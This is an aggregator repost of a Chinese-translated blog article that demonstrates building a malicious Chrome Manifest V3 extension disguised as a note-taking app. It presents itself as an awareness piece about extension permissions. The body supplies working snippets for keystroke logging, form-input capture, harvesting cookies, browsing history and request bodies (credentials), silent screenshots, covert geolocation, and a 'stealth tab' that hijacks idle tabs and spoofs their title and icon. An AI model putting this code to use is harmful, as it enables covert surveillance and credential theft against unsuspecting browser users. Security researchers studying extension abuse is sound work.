惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
WordPress大学
WordPress大学
宝玉的分享
宝玉的分享
人人都是产品经理
人人都是产品经理
博客园 - 聂微东
IT之家
IT之家
V
V2EX
Jina AI
Jina AI
V
Visual Studio Blog
有赞技术团队
有赞技术团队
博客园 - 司徒正美
博客园 - 叶小钗
The Cloudflare Blog
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
小众软件
小众软件
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
博客园 - 三生石上(FineUI控件)
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Google DeepMind News
Google DeepMind News
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
腾讯CDC
Google Online Security Blog
Google Online Security Blog
博客园 - 【当耐特】
Apple Machine Learning Research
Apple Machine Learning Research
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
N
News and Events Feed by Topic
N
News and Events Feed by Topic
The Last Watchdog
The Last Watchdog
W
WeLiveSecurity
月光博客
月光博客
Security Archives - TechRepublic
Security Archives - TechRepublic
Webroot Blog
Webroot Blog
SecWiki News
SecWiki News
博客园_首页
罗磊的独立博客
量子位
Latest news
Latest news
I
Intezer
V
Vulnerabilities – Threatpost
A
Arctic Wolf
Last Week in AI
Last Week in AI
Recent Commits to openclaw:main
Recent Commits to openclaw:main
S
SegmentFault 最新的问题
S
Security Affairs
阮一峰的网络日志
阮一峰的网络日志
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
酷 壳 – CoolShell
酷 壳 – CoolShell
P
Palo Alto Networks Blog
C
CXSECURITY Database RSS Feed - CXSecurity.com
N
News | PayPal Newsroom

博客园 - lcs-帅

如何解决药企色谱PDF数据提取问题?——从痛点到方案的完整指南 色谱PDF手动录Excel?我们科室终于不用了 HPLC报告处理,从2小时变5分钟 在药厂当化验员第3年,最痛苦的不是加班 峰面积提取不再一个个手抄了 LIMS数据导入前,PDF这步卡了我们3个月 药企QC科室私藏效率工具清单 如何批量提取色谱报告(PDF)中的数据到Excel? Waters/Agilent色谱仪的PDF报告能直接导出数据吗? 药企数据完整性合规:色谱数据从PDF到LIMS的最佳路径 色谱仪报告自动化处理:从PDF到结构化数据的完整方案 LLM Wiki 文档的标准格式模板 LLM Wiki 知识库编译规则 - 通用版本 数据烂在系统里,新药就堵在申报门口-数据烂在系统里,新药就堵在申报门口** ## 写给每一位正在冲刺 IND 的 CMC 研发团队 重塑药企研发信任链:告别人肉核对,让每一份 CMC 分析报告实现 30 秒穿透追溯 实操教程:手把手带你搭一套 Spec 自动化流水线 notoin-edu-plus 化学领域的 LLM 革命!化学乌鸦(ChemCrow)一个利用外部工具的集成引擎 svg实现动画 txgemma report ITIN怎么办理?都有哪些选择?具体的ITIN套餐办理解说 系统装好了,来个 Sysprep 如何修改谷歌账号的国家或地区 WANF万方多功能计量插座WF-D02A使用说明书 hosts文件丢失或更改后如何还原 EDGE浏览器新用户配置登录Microsoft账户出现0x80190001错误代码 AI工具集(国内版).xlsx PARA第7部分:创建一个项目网络(PARA Part 7: Creating a Project Network) PARA第6部分:提升专注、创造力和判断力的小批量项目 (Small-Batch Projects for Focus, Creativity, and Perspective) PARA第五部分:如何制作项目清单(Part5.The Project List Mindsweep) PARA第四部分:实践指南(PARA Part 4 Setup Guide) P.A.R.A第二部分:操作手册(PARA Part 2: Operations Manual) P.A.R.A第一部分:如何用P.A.R.A方法构建第二大脑,让生活更轻松 PARA笔记系统:简单高效管理个人信息及资料 DeepFaceAI: AI换脸 / AI变声 / 直播短视频
Chrome 扩展程序Manifest v3 ,Spy
lcs-帅 · 2025-07-05 · via 博客园 - lcs-帅

Manifest v3 可能已经从浏览器扩展中抽离了一些动力,但我认为还有很多东西可以做。为了证明这一点,让我们构建一个 Chrome 扩展来窃取尽可能多的数据。我说的是厨房水槽、整个辣酱玉米饼馅、格林奇掠夺 Whoville 级别的数据盗窃。

这将完成两件事:

  • 探索 Chrome 扩展程序的无限可能

  • 演示如果您不小心安装的内容,您将接触到什么

免责声明:实际上实施这个是邪恶的。您不应滥用扩展程序权限、窃取用户数据或构建恶意浏览器扩展程序。未经美国职业棒球大联盟明确书面同意,不建议实施、衍生扩展或利用这些技术。

  • 用户不应意识到幕后正在发生任何事情。

  • 不得有任何视觉指示表明任何异常。

    • 没有额外的控制台消息、警告或错误。

    • 没有其他浏览器警告或权限对话框。

    • 没有额外的页面级网络流量。

  • 一旦用户同意了 *咳咳* 充足的权限警告,那就是他们最后一次考虑扩展的权限。

如果你不熟悉浏览器扩展的内部结构,那么我们关心的 Evil 扩展有三个组件:

后台 Service Worker

  • 事件驱动。可以用作运行 JavaScript 的 “持久” 容器

  • 可以访问 WebExtensions API 的所有*

  • 无法访问 DOM API

  • 无法直接访问页面

弹出页面

  • 仅在用户交互后打开

  • 可以访问 WebExtensions API 的所有*

  • 可以访问 DOM API

  • 无法直接访问页面

内容脚本

  • 具有对所有页面和 DOM 的直接和完全访问权限

  • 可以在页面中运行 JavaScript,但在沙盒运行时中运行 JavaScript

  • 只能使用 WebExtensions API 的子集

  • 受与页面相同的限制(CORS 等)

*有轻微限制,不包括电池

只是为了好玩,我们的恶意扩展程序会请求所有可能的权限。 https://developer.chrome.com/docs/extensions/mv3/declare_permissions/ 有一个 Chrome 扩展权限列表,我们将大量介绍。

在删除 Chrome 不支持的所有权限后,我们得到以下内容:

{
  ...
  "host_permissions": ["<all_urls>"],
  "permissions": [
    "activeTab",
    "alarms",
    "background",
    "bookmarks",
    "browsingData",
    "clipboardRead",
    "clipboardWrite",
    "contentSettings",
    "contextMenus",
    "cookies",
    "debugger",
    "declarativeContent",
    "declarativeNetRequest",
    "declarativeNetRequestWithHostAccess",
    "declarativeNetRequestFeedback",
    "desktopCapture",
    "downloads",
    "fontSettings",
    "gcm",
    "geolocation",
    "history",
    "identity",
    "idle",
    "management",
    "nativeMessaging",
    "notifications",
    "pageCapture",
    "power",
    "printerProvider",
    "privacy",
    "proxy",
    "scripting",
    "search",
    "sessions",
    "storage",
    "system.cpu",
    "system.display",
    "system.memory",
    "system.storage",
    "tabCapture",
    "tabGroups",
    "tabs",
    "tabs",
    "topSites",
    "tts",
    "ttsEngine",
    "unlimitedStorage",
    "webNavigation",
    "webRequest"
  ],
}

manifest.json

这些权限中的大多数都不需要,但谁在乎呢?让我们看看警告消息是什么样子的:

Chrome 会滚动权限警告消息容器,因此超过一半的警告消息甚至没有显示。我敢打赌,大多数用户不会三思而后行地安装一个似乎只需要 5 个权限的扩展。

量权限警告列表如下:

  • 首屏:

    • 访问页面调试程序后端

    • 读取和更改网站上的所有数据

    • 检测您的实际位置

    • 读取和更改您所有已登录设备的浏览历史记录

    • 显示通知

  • 非首屏:

    • 阅读和更改书签

    • 读取和修改您复制和粘贴的数据

    • 捕获屏幕内容

    • 管理您的下载内容

    • 识别并弹出存储设备

    • 更改您的设置,使网站访问 cookie、JavaScript、插件、地理位置、麦克风、摄像头等功能。

    • 管理您的应用程序、扩展程序和主题背景

    • 与协作的本机应用程序通信

    • 更改与隐私相关的设置

    • 查看和管理您的标签页组

    • 使用口语合成语音朗读所有文本

让我们添加一个在所有页面和框架中运行的内容脚本,将扩展的覆盖范围扩展到隐身窗口,并使我们的所有资源都可以访问,以备不时之需:

{
  ...
  "web_accessible_resources": [
    {
      "resources": ["*"],
      "matches": ["<all_urls>"]
    }
  ],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "all_frames": true,
      "css": [],
      "js": ["content-script.js"],
      "run_at": "document_end"
    }
  ],
  "incognito": "spanning",
}

manifest.json

我们令人发指的扩展程序将伪装成一个笔记应用程序:

这为我们提供了一个会经常打开的扩展页面,允许我们静默地执行恶意的数据收集。我们还将使用后台 Service Worker。

生命短暂,互联网速度很快,存储空间便宜。我们的扩展决定收集的任何数据都可以发送到我们通过后台 Service Worker 控制的服务器,用户不会更聪明。这些网络请求只有在决定检查扩展本身的网络活动时才会显示,这很难实现。

想要在网页中添加侵入性用户跟踪吗?没关系!来自后台页面的网络流量不受广告拦截器或其他用户隐私扩展的约束,因此请跟踪您心仪内容的每次点击和击键。(外部网络流量管理器和 PiHole 之类的东西仍然可以工作)

WebExtensions API 让我们几乎可以不费吹灰之力地收集相当多的知识。

chrome.cookies.getAll({})以数组形式检索浏览器的所有 Cookie。

chrome.history.search({ text: "" })将用户的整个浏览历史记录作为数组检索。

chrome.tabs.captureVisibleTab()静默捕获用户当前正在查看的任何内容的屏幕截图。我们可以根据需要从内容脚本发送的消息调用此函数 - 甚至可以更频繁地调用我们认为有价值的 URL。API 将图像作为良好的数据 URL 字符串返回,因此将它们发送到我们的数据收集端点非常简单。

您的浏览器扩展现在是否正在捕获您的屏幕?你永远不会知道!

我们可以使用 API 轻松实时跟踪用户的浏览活动:webNavigation

chrome.webNavigation.onCompleted.addListener((details) => {
  // {
  //   "documentId": "F5009EFE5D3C074730E67F5C1D934C0A",
  //   "documentLifecycle": "active",
  //   "frameId": 0,
  //   "frameType": "outermost_frame",
  //   "parentFrameId": -1,
  //   "processId": 139,
  //   "tabId": 174034187,
  //   "timeStamp": 1676958729790.8088,
  //   "url": "https://www.linkedin.com/feed/"
  // }
});

background.js

该 API 允许我们监视来自每个选项卡的所有网络流量,使用 梳理出网络流量,并提取捕获凭据、地址等:webRequestrequestBody

chrome.webRequest.onBeforeRequest.addListener(
  (details) => {
    if (details.requestBody) {
      // Capture requestBody data
    }
  },
  {
    urls: ["<all_urls>"],
  },
  ["requestBody"]
);

background.js

由于每个页面上都运行着内容脚本,因此读取击键非常简单。创建一个定期刷新的击键缓冲区将为我们提供易于阅读的漂亮连续击键。

let buffer = "";

const debouncedCaptureKeylogBuffer = _.debounce(async () => {
  if (buffer.length > 0) {
    // Flush the buffer

    buffer = "";
  }
}, 1000);

document.addEventListener("keyup", (e: KeyboardEvent) => {
  buffer += e.key;

  debouncedCaptureKeylogBuffer();
});

content-script.js

从内容脚本中,我们只需侦听 任何可编辑元素上的事件并捕获其值。 input

[...document.querySelectorAll("input,textarea,[contenteditable]")].map((input) =>
  input.addEventListener("input", _.debounce((e) => {
    // Read input value
  }, 1000))
);

content-script.js

如果我们期望页面 DOM 经常更改(例如,使用 SPA),我们当然不想错过任何有价值的数据。只需设置 a 即可观看整个页面,并根据需要重新应用侦听器。MutationObserver

const inputs: WeakSet<Element> = new WeakSet();

const debouncedHandler = _.debounce(() => {
  [...document.querySelectorAll("input,textarea,[contenteditable")]
    .filter((input: Element) => !inputs.has(input))
    .map((input) => {
      input.addEventListener(
        "input",
        _.debounce((e) => {
          // Read input value
        }, 1000)
      );

      inputs.add(input);
    });
}, 1000);

const observer = new MutationObserver(() => debouncedHandler());
observer.observe(document.body, { subtree: true, childList: true });

content-script.js

这个有点棘手。 或任何其他 Clipboard API 方法都会通过权限对话框提示用户,因此这些都是禁止的。 navigator.clipboard.read()

使用 将剪贴板转储到隐藏的输入中是不可靠的,因此我们只能从页面中抓取所选文本。document.execCommand("paste")

document.addEventListener("copy", () => {
  const selected = window.getSelection()?.toString();

  // Capture selected text on copy events
});

content-script.js

(注意:我对此并不完全满意,但现在已经足够了。

由于 Chrome 对何时以及如何捕获地理定位的限制,地理位置捕获是最棘手的。添加权限 仅允许我们捕获扩展页面内的位置,而不能从内容脚本中捕获位置。如果弹出窗口打开得足够频繁,这可能就足够了。geolocation

navigator.geolocation.getCurrentPosition(
  (position) => {
    // Capture position
  },
  (e) => {},
  {
    enableHighAccuracy: true,
    timeout: 5000,
    maximumAge: 0,
  }
);

popup.js

如果我们需要更多的地理位置数据,则需要从内容脚本中执行此作。我们需要阻止浏览器生成权限对话框,所以首先我们检查页面是否已经有 geolocation 权限。如果是这样,我们可以静默请求位置。

navigator.permissions
  .query({ name: "geolocation" })
  .then(({ state }: { state: string }) => {
    if (state === "granted") {
      captureGeolocation();
    }
  });

content-script.js

如果你和我一样,你打开了很多选项卡。大多数标签页长时间闲置在那里,而 Chrome 急切地卸载空闲的标签页以释放系统资源。

假设我们需要在用户不注意的情况下在 tab 中打开一个扩展页面。也许我们需要使用 WebExtensions API 执行一些额外的页面级处理。打开和关闭新选项卡会导致选项卡栏中出现大量视觉移动,这太可疑了。相反,让我们重用现有选项卡,使其看起来像旧选项卡。

这可能按如下方式工作:

  1. 找到用户没有注意的候选选项卡。

  2. 记录其 URL、网站图标 URL 和标题。

  3. 将该选项卡替换为我们的扩展页面,并立即替换网站图标和标题,使其类似于原始选项卡。

  4. 做坏事。

  5. 页面完成后或用户打开选项卡后,导航回原始 URL。

让我们构建一个概念验证。下面是一个打开 Stealth 选项卡的示例后台脚本:

export async function openStealthTab() {
  const tabs = await chrome.tabs.query({
    // Don't use the tab the user is looking at
    active: false,
    // Don't use pinned tabs, they're probably used frequently
    pinned: false,
    // Don't use a tab generating audio
    audible: false,
    // Don't use a tab until it is finished loading
    status: "complete",
  });

  const [eligibleTab] = tabs.filter((tab) => {
    // Must have url and id
    if (!tab.id || !tab.url) {
      return false;
    }

    // Don't use extension pages
    if (new URL(tab.url).protocol === "chrome-extension:") {
      return false;
    }

    return true;
  });

  if (eligibleTab) {
    // These values will be used to spoof the current page
    // and navigate back
    const searchParams = new URLSearchParams({
      returnUrl: eligibleTab.url as string,
      faviconUrl: eligibleTab.favIconUrl || "",
      title: eligibleTab.title || "",
    });

    const url = `${chrome.runtime.getURL(
      "stealth-tab.html"
    )}?${searchParams.toString()}`;

    // Open the stealth tab
    await chrome.tabs.update(eligibleTab.id, {
      url,
      active: false,
    });
  }
}

background.js

下面是我们的 stealth tab 脚本:


const searchParams = new URL(window.location.href).searchParams;

// Spoof the previous page tab appearance
document.title = searchParams.get('title);
document.querySelector(`link[rel="icon"]`)
  .setAttribute("href", searchParams.get('faviconUrl'));

function useReturnUrl() {
  // User focused this tab, flee!
  window.location.href = searchParams.get('returnUrl');
}

// Check to see if this page is visible on load
if (document.visibilityState === "visible") {
  useReturnUrl();
}

document.addEventListener("visibilitychange", () => useReturnUrl());

// Now do bad things

// Done doing bad things, return!
useReturnUrl();

stealth-tab.js

这里没什么可疑的!

当然,我是在开玩笑。这个扩展会被从审查队列中笑掉。

这个扩展显然是恶意扩展的讽刺漫画,但认为可以使用这种行为的子集是不是很疯狂?当安装看起来值得信赖的 Chrome 扩展程序时(无论这意味着什么),大多数用户都会忽略权限警告消息,无论它们多么可怕。接受权限后,您将受扩展的摆布。

你可能会想:“Matt,这肯定不适用于我!我是一个精明的技术大师,细心、挑剔、听话。没有人能把球拉到我身上。

既然如此,我那位顽固的朋友,请回答这些问题:

  • 不用看,您能说出您现在安装的一半以上的扩展吗?

  • 谁维护它们?它是首次安装时维护它的同一实体吗?是否确定?

  • 真的仔细检查了他们的权限吗?

您可以在此处测试 Spy Extension:https://github.com/msfrisbie/spy-extension

我添加了一个选项页面,因此您可以看到扩展程序能够从您的浏览器中吸取的所有掠夺数据。我不打算发布屏幕截图;可以说,该页面的内容有点 妥协。

收集的任何内容都不会离开您的浏览器。真的是这样吗?(不,它没有)